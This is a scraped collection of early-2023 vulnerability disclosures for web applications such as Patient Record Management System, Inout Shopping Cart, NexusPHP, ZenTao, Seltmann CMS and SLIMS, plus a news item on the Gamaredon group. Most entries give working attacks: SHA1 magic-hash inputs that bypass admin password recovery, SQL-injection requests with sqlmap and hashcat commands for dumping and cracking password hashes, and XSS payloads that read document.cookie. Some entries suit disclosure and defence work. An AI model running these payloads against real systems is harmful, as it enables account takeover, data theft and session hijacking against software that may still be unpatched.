Patient Record Management System version 1.0 suffers from an authentication bypass vulnerability during account recovery.

    # Exploit Title: Patient Record Management System v1.0 - Authentication Bypass via PHP Loose Comparison# Exploit Author: Joe Pollock# Date: January 19, 2023# Vendor Homepage: https://www.sourcecodester.com/php/13505/patient-record-management-system.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/patientrecords.zip# Tested on: Kali Linux, Apache, Mysql, PHP 8.1.5# CVE: T.B.C# Vendor: kimcey500# Version: 1.0# Exploit Description:#   Patient Record Management System v1.0 implements a PHP loose comparison within the password recovery functionality (secret question/answer) of #   the admin account, which renders the application vulnerable to an authentication bypass depending on the secret answer chosen by the administrator. #   If the secret answer generates a SHA1 magic hash (SHA1 is the hashing format used by the application to store secret answers) then an authentication #   bypass of the admin account is possible using any other SHA1 magic hash. The vulnerable function is found within User_model.php and is shown below:public function get_forgot_secret($login_id, $secans){   $this->db->where('u_id', $login_id);   $query = $this->db->get('users');   $decrypt = $query->row()->u_secretanswer;   if(sha1($secans) == $decrypt){ // md5 encryption       return $query->row();   }} ========================================================(+) To reproduce this exploit:========================================================1. Log in as the administrator and navigate to the password recovery functionality (http://localhost/Indexcontrol/secretquestion).2. Enter the ‘Current Password’ then select any ‘Secret Question’. 3. For the ‘Secret Answer’, use the following: 109324351124. Confirm the ‘Secret Answer’ then click ‘Submit’. Now logout of the administrator account.5. From the admin login page, click ‘Forgot Password?’.6. Enter ‘admin’ as the username then click ‘Submit’.7. For the ‘Secret Answer’, use any of the following:aaroZmOkw9KASOk6IkapaaO8zKZFaa3OFF9mw9KASOk6Ikap8. After clicking 'Submit, the 'create new password' functionality should be displayed and therefore authentication can be bypassed.========================================================(+) Explanation:========================================================Following from above, assume the administrator has chosen the following as their secret answer: 10932435112The application then stores the SHA1 hash of the secret answer in the database. The stored hash is: 0e07766915004133176347055865026311692244The above hash is an example of a 'magic hash', i.e. the hash starts with "0e" (or "0..0e") only followed by numbers.In PHP, if two strings are loosely compared (==) and match the regular expression 0+e[0-9]+, the result will be TRUE.It will then be possible to bypass the authentication of this account using any secret answer which generates a SHA1 magic hash. Any of the following secret answers could be used to bypass authentication:aaroZmOkw9KASOk6IkapaaO8zKZFaa3OFF9mw9KASOk6IkapSee here for more examples that could be used: https://github.com/spaze/hashes/blob/master/sha1.mdThe comparision which would take place by the application in get_forgot_secret() is:if(sha1(aaroZmOk) == "0e07766915004133176347055865026311692244"){   //Reset passwordWhich becomes:if("0e66507019969427134894567494305185566735" == "0e07766915004133176347055865026311692244"){   //Reset passwordDue to the loose comparision used (==), the above evaluates to TRUE, which would then allow the attacker to changethe password of the account.You can try this yourself using the interactive PHP interpreter:var_dump(sha1('aaroZmOk') == "0e111");var_dump(sha1('aaroZmOk') == "0e222");var_dump(sha1('aaroZmOk') == sha1('w9KASOk6Ikap'));========================================================(+) References and more information========================================================https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.mdhttp://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.htmlhttps://www.whitehatsec.com/blog/magic-hashes/https://github.com/spaze/hasheshttps://offsec.almond.consulting/super-magic-hash.html

Patient Record Management System 1.0 Authentication Bypass

Inout Multi-Vendor Shopping Cart version 3.2.3 suffers from a remote SQL injection vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                  [ Vulnerability ]                                   ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : inoutscripts.com                                                           │  
│  Vendor   : Inout Scripts - Nesote Technologies Private Limited                        │  
│  Software : Inout Multi-Vendor Shopping Cart 3.2.3                                     │  
│  Vuln Type: SQL Injection                                                              │  
│  Impact   : Database Access                                                            │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                                                                                       ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│ Release Notes:                                                                         │  
│ ═════════════                                                                          │  
│                                                                                        │  
│ SQL injection attacks can allow unauthorized access to sensitive data, modification of │  
│ data and crash the application or make it unavailable, leading to lost revenue and     │  
│ damage to a company's reputation.                                                      │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   

         CryptoJob (Twitter) twitter.com/CryptozJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2023                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /index.php

POST parameter 'val' is vulnerable to SQLI

val=All[INJECT-HERE]&category=9%20&startpage=0&real_price_min=250&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'category' is vulnerable to SQLI

val=All&category=9%20[INJECT-HERE]&startpage=0&real_price_min=250&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'startpage' is vulnerable to SQLI

val=All&category=9 &startpage=0[INJECT-HERE]&real_price_min=250&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'real_price_min' is vulnerable to SQLI

val=All&category=9 &startpage=0&real_price_min=250[INJECT-HERE]&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'real_price_max' is vulnerable to SQLI

val=All&category=9 &startpage=0&real_price_min=250&real_price_max=34222[INJECT-HERE]vendorid=0&size=&color=

POST parameter 'vendorid' is vulnerable to SQLI

val=All&category=9 &startpage=0&real_price_min=250&real_price_max=34222&vendorid=0[INJECT-HERE]&size=&color=

[-] Done

Inout Multi-Vendor Shopping Cart 3.2.3 SQL Injection

Inout Multi-Vendor Shopping Cart version 3.2.3 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : inoutscripts.com                                                           ││  Vendor   : Inout Scripts - Nesote Technologies Private Limited                        ││  Software : Inout Multi-Vendor Shopping Cart 3.2.3                                     ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /index.phpMethod: GETURL parameter 'page' is vulnerable to XSShttps://www.website.com/index.php?page=product%2fcouponsh446k%3cimg%20src%3da%20onerror%3dalert(1)%3eciqs8URL parameter 'keyword' is vulnerable to XSShttps://www.website.com/index.php?page=product/productviews&keyword=tv24708%22%3balert(1)%2f%2f279[-] Done

Inout Multi-Vendor Shopping Cart 3.2.3 Cross Site Scripting

Insufficiently Protected Credentials in the AD/LDAP server settings in 1C-Bitrix Bitrix24 through 22.200.200 allow remote administrators to discover an AD/LDAP administrative password by reading the source code of /bitrix/admin/ldap_server_edit.php.

**Cookies:** This website uses cookies for analytical and technical reasons. ‘Analytical Cookies’ are inserted by Google Analytics to help us understand which countries our visitors come from, which pages they visit and what actions they take on this site. ‘Strictly Necessary Cookies’, as the name implies, are a type of cookies that are required for proper functioning of certain features of this website, such as the ability to use live chat. Disabling these cookies will disable access to those features and degrade your website experience.

Cookies of both types can be enabled or disabled within this plugin.

CVE-2022-43959: Security

The Russian state-sponsored cyber espionage group known as Gamaredon has continued its digital onslaught against Ukraine, with recent attacks leveraging the popular messaging app Telegram to strike military and law enforcement sectors in the country.
"The Gamaredon group's network infrastructure relies on multi-stage Telegram accounts for victim profiling and confirmation of geographic location,

The Russian state-sponsored cyber espionage group known as Gamaredon has continued its digital onslaught against Ukraine, with recent attacks leveraging the popular messaging app Telegram to strike military and law enforcement sectors in the country.

"The Gamaredon group's network infrastructure relies on multi-stage Telegram accounts for victim profiling and confirmation of geographic location, and then finally leads the victim to the next stage server for the final payload," the BlackBerry Research and Intelligence Team said in a report shared with The Hacker News. "This kind of technique to infect target systems is new."

Gamaredon, also known by names such as Actinium, Armageddon, Iron Tilden, Primitive Bear, Shuckworm, Trident Ursa, and Winterflounder, is known for its assaults against Ukrainian entities since at least 2013.

Last month, Palo Alto Networks Unit 42 disclosed the threat actor's unsuccessful attempts to break into an unnamed petroleum refining company within a NATO member state amid the Russo-Ukrainian war.

Attack chains mounted by the threat actor have employed legitimate Microsoft Office documents originating from Ukrainian government organizations as lures in spear-phishing emails to deliver malware capable of harvesting sensitive information.

These documents, when opened, load a malicious template from a remote source (a technique called remote template injection), effectively getting around the need to enable macros in order to breach target systems and propagate the infection.

The latest findings from BlackBerry demonstrate an evolution in the group's tactics, wherein a hard-coded Telegram channel is used to fetch the IP address of the server hosting the malware. The IP addresses are periodically rotated to fly under the radar.

To that end, the remote template is designed to fetch a VBA script, which drops a VBScript file that then connects to the IP address specified in the Telegram channel to fetch the next-stage – a PowerShell script that, in turn, reaches out to a different IP address to obtain a PHP file.

This PHP file is tasked with contacting another Telegram channel to retrieve a third IP address that contains the final payload, which is an information-stealing malware that was previously revealed by Cisco Talos in September 2022.

It's also worth pointing out that the heavily obfuscated VBA script is only delivered if the target's IP address is located in Ukraine.

"The threat group changes IP addresses dynamically, which makes it even harder to automate analysis through sandbox techniques once the sample has aged out," BlackBerry pointed out.

"The fact that the suspect IP addresses change only during Eastern European working hours strongly suggests that the threat actor works from one location, and with all probability belongs to an offensive cyber unit that deploys malicious operations against Ukraine."

The development comes as the Computer Emergency Response Team of Ukraine (CERT-UA) attributed a destructive malware attack targeting the National News Agency of Ukraine to the Russia-linked Sandworm hacking group.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Gamaredon Group Launches Cyberattacks Against Ukraine Using Telegram

Weak access control in NexusPHP before 1.7.33 allows a remote authenticated user to edit any post in the forum (this is caused by a lack of checks performed by the /forums.php?action=post page).

SureCloud undertook an independent security review of NexusPHP and identified multiple vulnerabilities from both authenticated and unauthenticated sources that could be exploited remotely. 

Identifying vulnerabilities is part of how SureCloud provides its clients with superior risk management and security services and tools — explore the possibilities of SureCloud’s Vulnerability Management software.

In our NexusPHP security review, we assigned the following CVEs:

*   **_CVE2022-46887 –_** Unauthenticated SQL Injection
*   _**CVE2022-46889 –**_ Authenticated Stored Cross-Site Scripting
*   _**CVE2022-46888 –**_ Unauthenticated Reflected Cross-Site Scripting
*   _**CVE2022-46890 –**_ Weak Access Control

These CVEs impact all versions of NexusPHP before and including 1.7.32. The latest version, 1.7.33, includes security fixes for all of the above vulnerabilities.

Below is a detailed overview of the NexusPHP platform, the vulnerabilities SureCloud identified, and suggestions on how to fix them. 

****What is NexusPHP?****

NexusPHP (_github.com/xiaomlove/nexusphp_ _–_ _nexusphp.org_) is an open-source private torrent (PT) content management system (CMS).

Compared to a public torrent tracker, a private one only allows users that are logged in to browse, download and upload torrents from its URL. This project was forked from an outdated and unmaintained version of NexusPHP (_github.com/zjutjh/NexusPHP_) and enriched with Laravel and Filament. 

****What is an SQL Injection?****

Structured Query Language (SQL) Injection is a vulnerability that occurs when an attacker directly embeds code into an SQL query. This results in a change to the meaning of the original query and the unexpected modification or extraction of potentially sensitive data.

It is one of the most harmful types of attack, as it can be used against any website or web application that uses an SQL-based database. In some extreme situations, it would also be possible to compromise the underlying Database Management System (DBMS) and gain access to an organization’s entire infrastructure.

There are two main ways to exploit SQL injections:

*   _**Results in output –**_ Occurs when the output from the manipulated query is reflected in the application’s response via an error message or in the page content, making it very easy to identify this type of vulnerability

*   _**Blind –**_ Occurs when no output data or error message is returned in the application’s responses. The extraction of sensitive data can still happen via the use of time-based functions embedded in the DBMS

****CVE2022-46887 – Unauthenticated SQL Injection****

Unauthenticated remote attackers can exploit an instance of SQL injection (time-based function) affecting the ‘conuser\[\]’ parameter in ‘takeconfirm.php’. 

A proof of concept request will make the DBMS go into a state of sleep for two seconds before serving the following response: 

_**POST /takeconfirm.php HTTP/1.1  
Host: 127.0.0.1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 50  
id=1&email=fail\_sendmail&conusr\[\]=1-sleep(2));+–+**_

This behavior is caused by the way the ‘consur’ parameter is handled in line nine of the file, /public/takeconfirm.php:

_**if(isset($\_POST\[‘conusr’\]))  
sql\_query(“UPDATE users SET status = ‘confirmed’, editsecret = ” WHERE id IN (” . implode(“, “, $\_POST\[‘conusr’\]) . “) AND status=’pending’”);**_

As this is a time-based SQL injection, it can be exploited by automated tools such as ‘sqlmap’. For example:

_**sqlmap -r post\_request.txt -D nexusphp -T users -C secret,passhash –dump**_

> 

With secret (salt) and passhash obtained, the original plaintext password can be retrieved using hashcat with the following parameter:

_**File format: <passhash>:<secret>  
Run: hashcat.exe -m 3800**_

Several other authenticated SQL injections were observed during the code review, but a CVE was not requested due to the authentication needed to fully exploit them. For example:

_**Page:** cheaterbox.php**Parameter:** delcheater**Privileges:** Staff Member**Proof of concept:**_ 

                      _**POST/cheaterbox.php                                                                                                                                                                                            \[…\]**_                                                                                                                           

                      _**setdealt=Set+Dealt&delcheater\[\]=0)+UNION+ALL+SELECT+(‘anything’**_                                                    

Caused by the following code in public/cheaterbox.php:

_**15:     $res = sql\_query (“SELECT id FROM cheaters WHERE dealtwith=0 AND id IN (” . implode(“, “, $\_POST\[‘delcheater’\]) . “)”);  
24:     $res = sql\_query (“SELECT id FROM cheaters WHERE id IN (” . implode(“, “, $\_POST\[‘delcheater’\]) . “)”);**_

_**Page:** nowarn.php**Parameter:** usernw**Privilege:** Staff Member**Proof of concept:**_ 

                    _**POST /nowarn.php HTTP/1.1**_                                                    

                    _**\[…\]**_                                                                                                                                                                                                                                     _**nowarned=nowarned&usernw\[\]=2)+UNION+SELECT+passhash+FROM+users+WHERE+ID=(1&**_

                   _**desact=1&delete=o**_                                                  

Caused by the following code in public/nowarn.php:

_**27: $r = sql\_query(“SELECT modcomment FROM users WHERE id IN (” . implode(“, “, $\_POST\[‘usernw’\]) . “)”)or sqlerr(\_\_FILE\_\_, \_\_LINE\_\_);**_

****How do you prevent SQL Injections?****

It’s possible to prevent SQL injections at the code base by filtering user input. This is done by implementing prepared statements or stored procedures that are available in all programming languages. This prevents user input interfering with the query structure and the original meaning remains unchanged. 

Other best practices should also be in place to limit the impact of potential SQL Injection vulnerabilities. For example:

*   The principle of least privilege when connecting to a DBMS

*   A Web Application Firewall (WAF), which prevents common payloads from exploiting the vulnerability

*   Software Development Lifecycle (SDLC) methodology can help identify vulnerabilities before they are pushed into a production environment through the use of code analysis tools

****What is Cross-Site Scripting (XSS)?****

Cross-site scripting attacks occur when user input is reflected into the application’s page without being properly sanitized. This allows for the possible injection of JavaScript or HTML code that can be executed once the page is rendered in a browser.

There are three types of XSS:

*   _**Stored –**_ This occurs when the user input is stored within a database and is returned unsanitized in later responses. E.g. every time a visitor opens a specific page in the vulnerable application

*   _**Reflected –**_ This happens when the user input (often in GET or POST parameter) is reflected back unsanitized, but only in the current response. Therefore, the XSS payload must be embedded in the request to be successful

*   _**DOM-based –**_ Commonly occurs when the user input changes the browser’s DOM environment in a way that JavaScript code is injected and executed. This often happens because client-side JavaScript cannot process data from untrusted input sources, such as old libraries

****CVE2022-46880 – Authenticated Stored Cross-Site Scripting** **

An authenticated attacker with permissions to upload new subtitles can exploit an instance of cross-site scripting (stored) affecting the ‘title’ parameter used in ‘subtitles.php’ page. 

A proof of concept request is as follows: 

_**POST /subtitles.php? HTTP/1.1  
Host: 192.168.204.137**_

_**Content-Type: multipart/form-data;                                                                                                                                        boundary=—————————538246582365809108635404342  
Content-Length: 706  
Cookie: <valid session token>**_

_**—————————–538246582365809108635404342**_  
_**Content-Disposition: form-data; name=”action”**_

_**Upload**_  
_**—————————–538246582365809108635404342**_  
_**Content-Disposition: form-data; name=”file”; filename=”test.srt”**_  
_**Content-Type: text/html**_

 _**Test  
—————————–538246582365809108635404342  
Content-Disposition: form-data; name=”torrent\_id”**_ 

_**1  
—————————–538246582365809108635404342  
Content-Disposition: form-data; name=”title”**_

_**111<svg/onload=alert(document.cookie);>  
—————————–538246582365809108635404342  
Content-Disposition: form-data; name=”sel\_lang”**_

_**14**_  
_**—————————–538246582365809108635404342–**_

This is caused by how the ‘details.php’ page reflects the user input (title) without proper encoding:

_**while($a = mysql\_fetch\_assoc($r))  
\[..\]  
<u>”. $a\[“title”\]. “</u>  
\[…\]**_

****CVE2022-46888 – Unauthenticated Reflected Cross-Site Scripting** **

An unauthenticated attacker can exploit an instance of cross-site scripting (reflected) affecting the ‘secret’ parameter used on the ‘login.php’ page.

The proof of concept request is as follows:

_**/login.php?secret=”><svg+onload=”alert(document.cookie)**_

The input passed in ‘secret’ is reflected twice in the response page without proper encoding, which allows JavaScript code to be executed in the browser. The issue is caused by the following line in the code of public/login.php: 

_**53: <input type=”hidden” name=”secret” value=”<?php echo $\_GET\[‘secret’\] ?? ”?>”>**_

Several other instances of cross-site scripting, authenticated or unauthenticated, were observed during the code review, but no CVEs were raised. For example: 

_**Page:** user-ban-log.php**Parameter:** q**Privilege:** unauthenticated**Proof of concept:** /user-ban-log.php?q=admin”><svg/onload=alert(document.cookie)>_

_**Page:** log.php**Parameter:** query**Privilege:** user role**Proof of concept:** /log.php?query=”><svg+onload=”alert(document.cookie)&search=all&action=dailylog_

_**Page:** moresmiles.php**Parameter:** text**Privilege:** user role**Proof of concept:** /moresmilies.php?form=&text=’)”><svg+onload=alert(document.cookie)>_

_**Page:** myhr.php**Parameter:** q**Privilege:** user role**Proof of concept:** /myhr.php?q=”><svg+onload=alert(document.cookie)>_

_**Page:** viewrequests.php**Parameter:** id**  
Privilege:** user role**Proof of concept:** /viewrequests.php?action=newmessage&id=><svg+onload=alert(document.cookie) and /viewrequests.php?action=res&id=”><svg+onload=”alert(document.cookie)_

****What’s the solution to XSS?****

The best way to defend against cross-site scripting is output encoding. All user input reflected in a later response, received from a database or from a GET/POST parameter, should be encoded to prevent it from being executed in a browser. Several types of encoding can be applied based on where the user output is returned, such as URL and HTML JavaScript or CSS encoding. 

You can implement other security measures to limit the severity of an XSS attack, such as the use of ‘Content Type’ and ‘X-Content-Type-Options’ response headers. Both will ensure browsers interpret responses in the intended way, for example, text/plain instead of text/html. 

Using an ‘HTTPOnly’ flag in-session helps prevent JavaScript from reading content or implementing a Content Security Policy (CSP) header to specify which resources can be executed on the application.

****What is Weak Access Control?****

Access Control regulates which actions can be performed in the application. For example, standard users shouldn’t be able to use or access functionalities only available to administrative users. These controls are created by a programmer, and so are not usually made or enforced by the technology or framework in use.

The main types of access controls are:

*   _**Horizontal access controls –**_ These controls prevent User A from accessing/editing/deleting functionalities belonging to User B

*   _**Vertical access controls –**_ These controls prevent User A from accessing/editing/deleting functionalities belonging to a higher user privilege: e.g., an administrative user

*   _**Context-dependent access controls –**_ These controls prevent any kind of user from subverting the logic of one or multiple application functionalities: e.g., multi-step user journey

****CVE2022-46890 – Weak Access Control****

In this case, the type of weak access control identified within the application was vertical. An authenticated user can edit any post within the forum, even those not accessible or visible to their current role. The attack is made possible because the application did not check the permissions before executing the edit action. 

The proof of concept POST request is as follows: 

_**POST /forums.php?action=post HTTP/1.1**_

_**Host: 192.168.204.137**_

_**Content-Type: application/x-www-form-urlencoded**_

_**Content-Length: 60**_

_**Cookie: <valid session cookies>**_

 _**id=7&type=edit&color=0&font=0&size=0&body=permissions+check2**_

Once the page refreshed, a standard user (user 2) was able to edit the content of a post created by an administrative user.

By enumerating the ‘id’ parameter (incremental numeric digits), it is possible to replace any post created in the forum with a custom message.

Several other misconfigurations were also observed during the code review, but CVEs weren’t requested.

For example, it was possible to access the shout box, a chat box for users of the platform,  from an unauthenticated perspective by simply browsing the URL ‘/shoutbox.php’.

Similarly, the ‘aboutnexus.php’ page was also accessible as an unauthenticated user, which contained sensitive information about the current version of NexusPHP.

Finally, an open redirect was identified and was exploitable from an authenticated perspective. Open redirect can trick the user into landing on an arbitrary page outside of the application’s scope and can be exploited as follows:

_**POST forums.php?action=setsticky  
\[…\]  
topicid=1&returnto=https://www.google.com**_

****Weak Access Control prevention****

To prevent access control vulnerabilities, it is fundamental for programmers to implement the following principles: 

*   All backend pages must check the validity of a user’s session, via a cookie or authentication token, before serving any content

*   When multiple user roles are involved, the web application must consider each role and check if the currently logged-in user is allowed to access such functionality. Do not rely on user input to check the role. A map or matrix on the server must perform this check

*   Access to resources or data belonging to different users must validate if the currently logged-in user is the resource’s owner before being served

*   Avoid using a predictable resource identifier (e.g., numeric or incremental IDs). It is widely recommended to use universally unique identifiers for UUIDs

*   Before publishing the application, implement test cases in the SDLC so that each possible case scenario is tested and triaged in pre-production

****Need some assistance?** ******To find out more about how SureCloud’s products or services can support the security posture of your application and identify vulnerabilities, contact a member of our team or visit www.surecloud.com.****

CVE-2022-46890: NexusPHP - SureCloud Security Review Identifies Authenticated and Unauthenticated Vulnerabilities

ZenTao 16.4 to 18.0.beta1 is vulnerable to SQL injection. After logging in with any user, you can complete SQL injection by constructing a special request and sending it to function importNotice.

**Abstract**

中文 : README\_zh.md

ZenTao is the #1 Team Collaborative Tool for R&D teams in China with 1.4 Million Users. It has many users, such as Twitter, Lenovo, etc. Here is its official website: https://www.zentao.pm/ (English) and https://www.zentao.net/ (Chinese).

you can complete SQL injection by constructing a special request and sending it to function importNotice of controller convert. Since the SQL injection here is stack injection and can execute any SQL statement, you can directly getshell through the SQL statement in case of improper configuration.

By accessing misc-catcha-user.html, we can obtain a legal zentaosid, so we can complete the sql injection without logging in.

**Version affected**

16.4 <= versions <= latest(18.0.beta1)

**Principle**

Here is a section of source code of the function importNotice:

public function importNotice($method = 'db')
{
    if($this\->server\->request\_method == 'POST')
    {
        if($method == 'db')
        {
            $dbName = $this\->post\->dbName;
            if(!$dbName)
            {
                $response\['result'\]  = 'fail';
                $response\['message'\] = $this\->lang\->convert\->jira\->dbNameEmpty;
                return print($this\->send($response));
            }

            if(!$this\->convert\->dbExists($dbName))
            {
                ...

}

We can use url /index.php?m=convert&f=importNotice&zentaosid=xxx to access this function, and zentaosid is part of the cookie of any logged-in user. Besides, $this->post->dbName is from data segment of our post request, which means we can control the value of $dbName.

And here is the source code of dbExists：

public function dbExists($dbName = '')
{
    $sql = "SHOW DATABASES like '{$dbName}'";
    return $this\->dbh\->query($sql)->fetch();
}

Since we can control the value of dbName, we can set its value to '; <sql_statement> #.

**Demonstrate**

you can see it at Demonstrate.mp4 of this repository

**exp**

you can get it at exp.py of this repository

CVE-2022-47745: GitHub - l3s10n/ZenTaoPMS_SqlInjection

Seltmann GmbH Content Management System 6 is vulnerable to SQL Injection via /index.php.

**Seltmann GmbH / Content Management System 6 - SQL-Injection**

**CVE-ID:** -

**Vendor:** Seltmann GmbH (https://www.seltmann-webdesign.de/)

**Affected Product:** Content Management System

**Affected Versions:** 6

**Vulnerability:** SQL-Injection

**Status:** Unfixed

**Severity:** Critical

**Details**

The id parameter of the /index.php endpoint in the Content Management System of the _Seltmann GmbH_ is vulnerable to SQL-Injection.

GET /index.php?controller=index&function=change\_lang\_redirect&id=1%22&url=something HTTP/2
Host: localhost
\[...\]

**nuclei template**

id: seltmann-cms-sqli-id
info:
  name: Seltmann GmbH Content Management System 6 SQL-Injection "id"
  author: blockomat2100
  severity: high
  description: Seltmann GmbH Content Management System 6 SQL-Injection "id"
  reference:
    - https://github.com/blockomat2100/PoCs/blob/main/seltmann\_gmbh\_cms.md
  tags: cve

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?controller=index&function=change\_lang\_redirect&id=1"&url=/'
    redirects: true
    # without cookie reuse the template will not work
    cookie-reuse: true
    max-redirects: 7
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - DB IO-Error
      - type: regex
        part: body
        condition: or
        regex:
          - '(Content\\sManagement\\sSystem\\s\\|\\s)(Version\\s\\d\\n)(\[\\w\\d\\W\]+)(Seltmann GmbH)'

CVE-2022-47740: PoCs/seltmann_gmbh_cms.md at main · blockomat2100/PoCs

SLIMS version 9.5.2 suffers from a cross site scripting vulnerability.

    ## Title: SLIMS-9.5.2 - XSS Reflected - Account Exploit## Development: nu11secur1ty## Date: 01.19.2023## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.5.2## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2## Description:The value of manual insertion `point 3` is copied into the HTMLdocument as plain text between tags.The payload udz21<script>alert(1)</script>rk346 was submitted inmanual insertion point 3.This input was echoed unmodified in the application's response.The attacker can trick the already logged-in user, to visit theexploit link that this attacker is created,and if this already logged-in user is not actually IT or admin, thiswill be the end of this system.## STATUS: HIGH Vulnerability[+] Exploit:```GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27HTTP/1.1Host: pwnedhost1.comCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1;SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4Connection: close```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2)## Proof and Exploit:[href](https://streamable.com/zd6e18)## Reference:[href](https://portswigger.net/web-security/cross-site-scripting)

SLIMS 9.5.2 Cross Site Scripting

The Social Warfare plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.4.0. This is due to missing or incorrect nonce validation on several AJAX actions. This makes it possible for unauthenticated attackers to delete post meta information and reset network access tokens, via forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Tag

#php